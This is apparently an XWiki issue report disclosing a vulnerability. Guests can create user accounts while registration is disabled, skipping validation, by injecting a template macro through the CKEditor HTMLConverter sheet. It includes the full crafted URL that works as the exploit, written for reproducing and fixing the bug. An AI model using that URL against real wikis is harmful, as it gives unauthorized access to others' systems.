Users can be created even when registration is disabled without validation via the template macro

Steps to reproduce:

1. On a wiki with view rights for guests but user registration disabled, open as guest <server>/xwiki/bin/view/Main?sheet=CKEditor.HTMLConverter&language=en&sourceSyntax=xwiki%2F2.1&stripHTMLEnvelope=true&fromHTML=false&toHTML=true&text=%7B%7Btemplate+name%3D%22distribution%2Ffirstadminuser.wiki%22+%2F%7D%7D where <server> is the URL of your XWiki installation.
2. Enter username and password of your choice.
3. Click "Register and login"

Expected result:
An error is displayed that registration is disabled/the distribution wizard cannot be executed.

Actual result:
You are logged in with the chosen login data. Note that also the user validation is skipped.

This is exploiting the same vulnerable template as XWIKI-19558 but via a different attack vector that I didn't know/expect when I reported and fixed that issue.